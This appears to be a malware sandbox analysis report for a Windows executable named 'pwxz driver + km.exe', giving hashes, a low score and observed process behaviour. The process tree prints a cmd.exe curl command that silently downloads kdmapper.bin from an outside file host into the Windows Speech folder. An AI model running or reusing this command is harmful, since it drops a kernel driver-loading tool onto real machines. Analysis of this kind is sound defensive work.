b4378b93df9c53cfb65f83695e4a68c3eceb87c49eef02ee45b85128f967e381 | Triage

Analysis

max time kernel
121s
max time network
129s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
08-11-2024 12:03

Sharing

Report Analysis Logs

General

Target

pwxz driver + km.exe
Size

1.1MB
MD5

f98e6472238ac5d8686545a0d48d176b
SHA1

927fa5aff827297e7bbc991b6bc573f4cf6d9945
SHA256

b4378b93df9c53cfb65f83695e4a68c3eceb87c49eef02ee45b85128f967e381
SHA512

231b45a7c636a5d8dc6a805d7a9da61308f159540b74796e8a11329fe90ed0f72ad88e5104781156f1ff36403b1bb131e83030fef2e37cf9c139d32194d5817e
SSDEEP

24576:jfANwLwUvInQgVXu9QdasS+9zxocWbnw0GcV73Fd:jfYwSnZAQdasS+Ecod

Score

1^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

pwxz driver + km.exe

description	pid	process	target process
PID 1288 wrote to memory of 2000	1288	pwxz driver + km.exe	cmd.exe
PID 1288 wrote to memory of 2000	1288	pwxz driver + km.exe	cmd.exe
PID 1288 wrote to memory of 2000	1288	pwxz driver + km.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\pwxz driver + km.exe
"C:\Users\Admin\AppData\Local\Temp\pwxz driver + km.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  PID:2000

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads